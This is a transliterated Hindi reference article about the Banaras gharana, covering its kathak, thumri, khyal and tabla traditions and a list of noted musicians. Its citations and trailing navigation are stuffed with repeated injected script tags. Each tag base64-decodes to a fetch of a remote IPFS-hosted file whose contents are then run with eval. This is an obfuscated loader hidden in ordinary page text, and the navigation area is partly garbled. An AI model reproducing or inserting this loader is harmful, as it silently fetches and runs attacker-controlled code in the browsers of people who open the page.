बनारस घराना

	banaras gharana
	mataprasad mishra, katthak nartak, banaras gharana\|200px\|center
vivaran	'banaras gharana' bharat ke pratishthit shastriy nrity, sangit tatha vadan se sambandhit gharanoan mean se ek hai. yah gharana apani vishesh katthak nrity shaili ke lie prasiddh hai.
desh	bharat
nrity shaili	katthak
vishesh	yah gharana gayan aur vadan donoan kalaoan ke lie prasiddh raha hai. is gharane ke gayak khyal gayaki ke lie jane jate haian. isake sath hi banaras gharane ke tabala vadakoan ki bhi apani ek svatantr shaili rahi hai.
sanbandhit lekh	sitara devi, girija devi, pandit ravishankar
bahari k diyaan	suprasiddh sitar vadak pandit ravishankar ka janm banaras mean hua. shreshth santoor vadak shivakumar sharma ke pita pandit amar datt sharma ne banaras gharane ke mahanh gayak pandit b de ramadas ji se shiksha prapt ki thi.

banaras gharana (aangrezi: Banaras Gharana) hindustani shastriy sangit ke prasiddh gharanoan mean gina jata hai. shastriy sangit ke kshetr mean is gharane ka bahut hi mahattvapoorn yogadan hai. uttar pradesh ka banaras gharana jayapur gharane ke samakalin mana jata hai. is gharane mean gati v shrangarikata ke sthan par prachin v praranbhik shaili par adhik jor diya gaya. banaras gharane ke nam par prakhyat nrityaguru sitara devi ke pashchath unaki putri kathak kvin jayantimala ne isake vaibhav aur chhavi ko barakarar rakhane ka prayas kiya hai evan guru-shishy parampara ko age badhane ke lie prayasarat haian.^[1]

shaili

yah gharana gayan aur vadan donoan kalaoan ke lie prasiddh raha hai. is gharane ke gayak khyal gayaki ke lie jane jate haian. isake sath hi banaras gharane ke tabala vadakoan ki bhi apani ek svatantr shaili rahi hai. sarangi vadakoan ke lie bhi yah gharana kafi prasiddh raha hai. is gharane ki gayan evan vadan shaili par uttar bharat ke lok gayan ka gahara prabhav hai. kuchh vidvanoan ka kathan hai ki aryoan ke bharat mean sthayi hone se pahale yahaan ki janajatiyoan mean sangit vidyaman tha. usaka abhas banaras ke lok sangit mean dikhata hai. thumari mukhy roop se uttar pradesh ki hi den hai. lakhanoo mean isaki paidaish huee thi aur banaras mean isaka vikas hua.

banarasi thumari

banarasi thumari ke do prakar haian-

dhanakshari arthath shayari thumari - yah drutalay mean gaee jati hai aur drut tanoan ke dvara prasarit ki jati hai.
bol ki thumari - ise mand gati ke sath gaya jata hai aur ek-ek shabd ko bolate haian.

banaras aang ki thumari mean chainadari hai. yahaan ki bol-chal aur kahane ka alag qism ka hota hai. yahaan ki thumari mean thaharav aur adayagi ka apana ek alag rang hai. isamean khoobasoorati apekshakrit adhik rahati hai.^[2] gvaliyar ke raja manasihan tomar (tanvar) thumari ke adi pravartak the. unhian ke nam par isaka nam 'tanavari' p da tha, jo bad mean big dakar thumari ho gaya. thumari ke itihas mean maujuddin khan, gvaliyar ke bhaiyasahab ganapatarav aur navab vajid alishah ka nam bhi mahattvapoorn hai. banaras ki thumari pandit jagadip mishr ji se shuroo huee. pandit jagadip mishr, bhaiya ganapatarav evan maujuddin khan ke samay se vilanbit lay ki bol banav thumari ke gane ka prachalan badha tatha banaras mean isaka atyadhik prachar-prasar hua, tatpashchath yahi thumari poorab ki boliyaan tatha lokagitoan ke prabhav se aur adhik bhav pradhan ho gee, aur aant mean 'banarasi thumari' ke nam se roodh ho gee.

gharane ki khyal shaili

banaras gharane ka khyal shaili mean bhi mahattvapoorn yogadan hai. is gayan paddhati mean shabd ka spasht uchcharan kiya jata hai. bhavanaoan ko svaroan ke madhyam se sashakt roop se prakat kiya jata hai. banaras gharane ke gayak khyal gayan ke lie vishesh taur par pahachane jate haian. khyal ka tatpary hai- 'kalpana'. isaka abhivyaktikaran vividhata se aur savadhani poorvak kiya jana chahie. khyal gayan hazaroan varshoan ki prachin paranpara hai. yah prachin paranpara mugal badashahoan ke darabar mean dhrupad paddhati se gayi jati thi. khyal mean hindoo aur muslim kaviyoan ki shrriangarik ya bhakti ras mean samarpit rachanaoan ka samavesh hai. banaras gharane ke khyal gayan mean banaras evan gaya ki thumari ka samavesh hai.^[2]

tabala prastuti

is gharane ki tabala vadak prastuti ki apani ek svatantr paddhati rahi hai. lagabhag do sau varsh poorv pandit ramasahay mishr ka janm 1780 mean banaras mean hua tha. barah varsh ki alp ayu mean hi pandit ji ko apane guru se tabale ka sarvottam prashikshan prapt hua tha. ve jab matr keval 21 varsh ke the, tabhi unhoanne navab vajidali shah ke darabar mean sat din tak bina ruke aur punaravritti n karate hue tabala vadan kiya tha. unhoanne apani kala ka pradarshan logoan ke samane band kar apana dhyan tabala vadan ki nayi paddhati ki khoj karane mean kendrit kar diya tha. inhoanne tabale par hath rakhane ki paddhati aur uangaliyoan ka prayog ne dhang se karake tabala vadan ki nee paddhati ki khoj ki, jisaka nam banarasi baz p da. is paddhati ka upayog ekal vadan ke sath dhrupad gayan, jo pakhavaj ke sath gaya jata hai tatha thumari, tappa aur anek prakar ke vadyoan ke sath sangat mean hone laga.

prasiddh sangitajn

banaras gharana gayan aur vadan donoan ke lie hi bahut prasiddh raha hai. is gharane ke kuchh sangitajnoan ke nam is prakar haian-

shahanaee vadak - ustad bismilla khan, pandit ramasahay mishr (jinhoanne 'banarasi baz' ka shodh kiya tha)
tabala vadak - pandit kanthe maharaj, pandit anokhe lal, pandit kishan maharaj evan pandit gudee maharaj adi.
pakhavaj aur mridang vadak - banaras ke pandit madan mohan, pandit bholanath pathak aur pandit amaranath mishr adi.^[2]

suprasiddh sitar vadak pandit ravishankar ka janm bhi banaras mean hua. shreshth santoor vadak pandit shivakumar sharma ke pita pandit amar datt sharma ne banaras gharane ke mahanh gayak pandit b de ramadas ji se shiksha prapt ki thi. banaras gharana sarangi vadakoan ke lie bhi prasiddh raha hai, jisamean pramukh hai-

shambhoo sumir
gopal mishr
hanuman prasad mishr
narayan vinayak

banarasi thumari evan khyal gayan yahaan ki vishisht paddhati hai. thumari gayikaoan mean rasoolan baee, b di moti baee, siddheshvari devi aur girija devi pramukh haian. khyal gayan mean pandit b de ramadas ji, pandit chhote ramadas ji, pandit mahadev prasad mishr, pandit rajan-sajan mishr aur unake putr evan shishy is paranpara ko age badha rahe hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ katthak ke mool svaroop mean parivartan aur gharanoan ki den (hiandi) journalistnishant.blogspot.in. abhigaman tithi: 22 aktoobar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 ^2.2 banaras gharana (hindi). . abhigaman tithi: 12 aktoobar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] tthak ke mool svaroop mean parivartan aur gharanoan ki den (hiandi) journalistnishant.blogspot.in. abhigaman tithi: 22 aktoobar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[mcc-2] 2.0 ^2.1 ^2.2 banaras gharana (hindi). . abhigaman tithi: 12 aktoobar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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